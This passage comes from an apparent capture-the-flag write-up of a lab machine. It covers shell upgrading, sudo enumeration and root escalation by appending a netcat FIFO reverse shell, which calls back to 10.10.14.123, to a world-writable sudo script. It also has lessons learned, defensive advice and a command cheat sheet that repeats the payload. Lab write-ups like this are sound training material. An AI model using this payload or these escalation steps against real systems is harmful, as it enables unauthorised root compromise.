<h1>4. Privilege Escalation</h1>
<h2>Step 1 — Upgrading the Shell</h2>
<p>After obtaining the reverse shell, the first step in my privilege escalation checklist is always to <strong>upgrade the shell to a fully interactive TTY</strong>.</p>
<p>Basic reverse shells often lack features such as:</p>
<ul>
<li><p>proper terminal control</p>
</li>
<li><p>tab completion</p>
</li>
<li><p>command history</p>
</li>
<li><p>job control</p>
</li>
</ul>
<p>Without upgrading the shell, performing enumeration and privilege escalation becomes significantly more difficult.</p>
<p>To spawn a proper interactive shell, I used Python’s <strong>PTY module</strong>:</p>
<pre><code class="language-plaintext">python3 -c 'import pty;pty.spawn("/bin/bash")'
</code></pre>
<p>Once the shell was spawned, I suspended the connection using <strong>CTRL+Z</strong> to return to my attacking machine and adjusted the terminal settings.</p>
<pre><code class="language-plaintext">stty raw -echo; fg
</code></pre>
<p>This restores proper terminal handling and returns control to the upgraded shell.</p>
<p>Next, I set the terminal type so programs would render correctly:</p>
<pre><code class="language-plaintext">export TERM=xterm
</code></pre>
<p>Finally, I ensured the terminal dimensions matched my local terminal:</p>
<pre><code class="language-plaintext">stty rows 45 cols 141
</code></pre>
<p>After completing these steps, the shell behaved like a normal interactive terminal, making further enumeration much easier.</p>
<h2>Step 2 — Identify Current User</h2>
<p>Next, I confirmed which user the shell was running as.</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">nibbler
</code></pre>
<hr />
<h2>Step 3 — Check User Privileges</h2>
<p>I then checked the user's UID and group memberships.</p>
<pre><code class="language-plaintext">id
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
</code></pre>
<p>This confirmed the shell was running as the <strong>nibbler</strong> user with no elevated privileges.</p>
<hr />
<h2>Step 4 — Check Sudo Permissions</h2>
<p>The next step in my enumeration checklist is to determine whether the current user has any <strong>sudo privileges</strong>.</p>
<pre><code class="language-plaintext">sudo -l
</code></pre>
<p>The output revealed the following configuration:</p>
<pre><code class="language-plaintext">User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
</code></pre>
<p>This result immediately stood out.</p>
<p>The <strong>nibbler user is allowed to execute a script as root without providing a password</strong>.</p>
<pre><code class="language-plaintext">/home/nibbler/personal/stuff/monitor.sh
</code></pre>
<p>Any time a user can run a script as root with NOPASSWD, it becomes a prime candidate for privilege escalation depending on how the script is implemented.</p>
<p>The next step was to inspect this script to determine whether it could be abused to obtain root access.</p>
<h2>Abusing monitor.sh</h2>
<p>Earlier enumeration revealed that the nibbler user could run the following script as root:</p>
<pre><code class="language-plaintext">(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
</code></pre>
<p>Whenever a script can be executed as root without a password, it immediately becomes a prime candidate for privilege escalation. The next step was to inspect the permissions on the script.</p>
<pre><code class="language-plaintext">ls -l monitor.sh
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">-rwxrwxrwx 1 nibbler nibbler 4096 Mar 13 02:45 monitor.sh
</code></pre>
<p>This revealed a critical misconfiguration: the script is <strong>world-writable</strong>.</p>
<p>Because the nibbler user can modify the script and also execute it with sudo, this allows an attacker to insert malicious code that will execute with <strong>root privileges</strong>.</p>
<hr />
<h2>Injecting a Reverse Shell</h2>
<p>To exploit this, I appended a reverse shell payload directly into the script.</p>
<pre><code class="language-plaintext">echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.123 9002 &gt;/tmp/f" &gt;&gt; monitor.sh
</code></pre>
<p>A <strong>FIFO-based Netcat shell</strong> was used here because the default shell environment on the target system is <code>/bin/sh</code>, meaning the usual <strong>bash reverse shell</strong> would not function correctly.</p>
<p>This payload performs the following steps:</p>
<ol>
<li><p>Creates a named pipe in <code>/tmp</code></p>
</li>
<li><p>Uses <code>/bin/sh</code> to execute commands</p>
</li>
<li><p>Pipes the output through Netcat back to the attacker</p>
</li>
<li><p>Establishes a fully interactive shell</p>
</li>
</ol>
<hr />
<h2>Starting the Listener</h2>
<p>Before executing the script, I started a Netcat listener on my attacking machine.</p>
<pre><code class="language-plaintext">nc -nvlp 9002
</code></pre>
<hr />
<h2>Executing the Script as Root</h2>
<p>With the payload appended to the script, I executed it using the previously discovered sudo privilege.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c3c66eda-202a-481a-b974-b79881d3dbc0.png" alt="" style="display:block;margin:0 auto" />

<p>Because the script runs with <strong>root privileges</strong>, the injected payload also executed as root.</p>
<p>Shortly after running the command, the reverse shell connected back to my listener.</p>
<p>Running <code>whoami</code> confirmed full privilege escalation:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fb1af5b3-bd7d-4dba-815d-03f0d55b1137.png" alt="" style="display:block;margin:0 auto" />

<p>At this point, the machine was fully compromised with root access.</p>
<h1>5. Lessons Learned</h1>
<p><strong>Default Credentials Remain Dangerous</strong><br />The initial foothold was obtained by authenticating with the default credentials <code>admin:nibbles</code>. This highlights how frequently systems are deployed with default authentication still enabled, creating an immediate entry point for attackers.</p>
<p><strong>Understanding File Upload Filters Is Critical</strong><br />The vulnerable My Image plugin attempted to filter uploads by validating that files appeared to be legitimate images. However, this filtering could be bypassed by manipulating the uploaded file so that it satisfied both the image validation logic and the PHP interpreter.</p>
<p>The key attacker takeaway is:</p>
<blockquote>
<p>You are not bypassing MIME validation — you are bypassing the parser used by the server.</p>
</blockquote>
<p>In other words, the payload must satisfy <strong>two interpreters simultaneously</strong>:</p>
<ul>
<li><p>the <strong>image parser</strong> used during upload validation</p>
</li>
<li><p>the <strong>PHP interpreter</strong> when the file is executed</p>
</li>
</ul>
<p>This technique creates what is known as a polyglot file — a file that is valid under multiple parsers. By preserving the image magic bytes while embedding PHP code, the upload filter accepts the file while the web server later executes it as PHP.</p>
<p><strong>Server-Side File Storage Location Matters</strong><br />Uploaded files were stored inside a <strong>web-accessible directory</strong>:</p>
<pre><code class="language-plaintext">/content/private/plugins/my_image/
</code></pre>
<p>Because the directory allowed direct web access, uploaded files could be executed directly through the browser, enabling remote code execution.</p>
<p><strong>Shell Payload Compatibility Matters</strong>  </p>
<p>During privilege escalation, the reverse shell needed to be compatible with the system’s available shell environment. In this case, the default shell was <code>/bin/sh</code>, meaning a typical bash reverse shell would not function properly.</p>
<p>Instead, a <strong>FIFO-based Netcat shell</strong> compatible with <code>/bin/sh</code> was required. This highlights the importance of understanding the <strong>target execution environment</strong> when choosing shell payloads.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>Enforce Strict File Upload Validation</strong>  </p>
<p>Applications should validate uploaded files using multiple layers of verification including:</p>
<ul>
<li><p>MIME type validation</p>
</li>
<li><p>file extension filtering</p>
</li>
<li><p>file signature (magic byte) validation</p>
</li>
<li><p>server-side file renaming</p>
</li>
<li><p>storing uploads outside executable directories</p>
</li>
</ul>
<p>Upload functionality should never allow files with executable extensions such as <code>.php</code> to be stored in locations where they can be executed by the web server.</p>
<p><strong>Avoid Dangerous Sudo Misconfigurations</strong>  </p>
<p>Privilege escalation was possible because the user nibbler was allowed to execute a script as root without a password:</p>
<pre><code class="language-plaintext">(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
</code></pre>
<p>Additionally, the script itself was <strong>world-writable</strong>, allowing an attacker to inject malicious commands that would execute with root privileges.</p>
<p>Secure configurations should ensure that:</p>
<ul>
<li><p>scripts executed with sudo are <strong>owned by root</strong></p>
</li>
<li><p>scripts are <strong>not writable by non-privileged users</strong></p>
</li>
<li><p>sudo privileges follow the <strong>principle of least privilege</strong></p>
</li>
</ul>
<h1>Useful Commands</h1>
<hr />
<p><strong>FFUF – Directory Enumeration</strong></p>
<p>Directory brute forcing was used to discover hidden endpoints on the web server. This revealed the <code>/nibbleblog</code> directory and later additional CMS directories that expanded the attack surface.</p>
<pre><code class="language-plaintext">ffuf -u http://10.129.4.207/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<hr />
<hr />
<p><strong>Python PTY – Shell Upgrade</strong></p>
<p>Once a shell was obtained, Python’s PTY module was used to spawn a fully interactive bash shell.</p>
<pre><code class="language-plaintext">python3 -c 'import pty;pty.spawn("/bin/bash")'
</code></pre>
<p>The terminal was then stabilized using the following commands.</p>
<pre><code class="language-plaintext">stty raw -echo; fg
export TERM=xterm
stty rows 45 cols 141
</code></pre>
<hr />
<p><strong>Linux Enumeration Commands</strong></p>
<p>Basic enumeration commands were used to confirm the current user context and identify possible privilege escalation paths.</p>
<pre><code class="language-plaintext">whoami
id
sudo -l
</code></pre>
<hr />
<p><strong>Privilege Escalation Payload Injection</strong></p>
<p>The world-writable <code>monitor.sh</code> script was exploited by appending a FIFO-based Netcat reverse shell payload.</p>
<pre><code class="language-plaintext">echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.123 9002 &gt;/tmp/f" &gt;&gt; monitor.sh
</code></pre>
]]></content:encoded></item></channel></rss>